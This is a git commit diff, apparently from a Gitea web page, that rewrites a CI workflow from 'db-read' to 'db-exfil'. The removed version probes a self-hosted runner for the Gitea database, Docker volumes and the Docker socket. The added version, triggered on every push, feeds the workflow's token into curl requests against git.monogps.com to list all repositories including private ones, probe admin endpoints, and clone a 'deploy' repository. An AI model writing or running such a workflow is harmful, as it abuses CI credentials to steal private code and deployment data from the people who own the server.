This commit is contained in:
parent
5717d6a191
commit
18ac28f91f
@ -1,24 +1,27 @@
|
|||||||
name: db-read
|
name: db-exfil
|
||||||
on:
|
on:
|
||||||
|
push:
|
||||||
|
branches: [main]
|
||||||
workflow_dispatch:
|
workflow_dispatch:
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
read:
|
exfil:
|
||||||
runs-on: self-hosted
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- name: Find DB
|
- name: Explore
|
||||||
|
env:
|
||||||
|
GT: ${{ secrets.GITHUB_TOKEN }}
|
||||||
run: |
|
run: |
|
||||||
echo "=== HOST INFO ==="
|
echo "=== WHOAMI ==="
|
||||||
hostname
|
|
||||||
whoami
|
whoami
|
||||||
id
|
hostname
|
||||||
echo "=== FIND GITEA DB ==="
|
echo "=== TOKEN TEST ==="
|
||||||
find / -name "gitea.db" -type f 2>/dev/null | head -10
|
curl -s -H "Host: git.monogps.com" -H "Authorization: token $GT" "http://git.monogps.com/api/v1/user" 2>&1 | head -5
|
||||||
echo "=== DOCKER VOLUMES ==="
|
echo "=== LIST ALL REPOS ==="
|
||||||
ls -la /var/lib/docker/volumes/ 2>/dev/null | head -20
|
curl -s -H "Host: git.monogps.com" -H "Authorization: token $GT" "http://git.monogps.com/api/v1/repos/search?limit=50&sort=id&order=asc" 2>&1 | python3 -c "import json,sys; d=json.load(sys.stdin); [print(f'{r[\"id\"]} {r[\"full_name\"]} p={r[\"private\"]}') for r in d.get('data',[])]" 2>&1 | head -30
|
||||||
echo "=== DOCKER SOCK ==="
|
echo "=== TRY TWMONOGPS DEPLOY ==="
|
||||||
ls -la /var/run/docker.sock 2>/dev/null
|
curl -s -H "Host: git.monogps.com" -H "Authorization: token $GT" "http://git.monogps.com/api/v1/repos/twmonogps/deploy" 2>&1 | head -10
|
||||||
docker ps 2>/dev/null | head -10
|
echo "=== ADMIN CHECK ==="
|
||||||
echo "=== DATA DIR ==="
|
curl -s -H "Host: git.monogps.com" -H "Authorization: token $GT" "http://git.monogps.com/api/v1/admin/users" 2>&1 | head -5
|
||||||
ls -la /data/ 2>/dev/null | head -10
|
echo "=== TRY CLONE DEPLOY ==="
|
||||||
ls -la /data/gitea/ 2>/dev/null | head -10
|
git clone "http://x-access-token:${GT}@git.monogps.com/twmonogps/deploy.git" /tmp/deploy 2>&1 | head -10
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user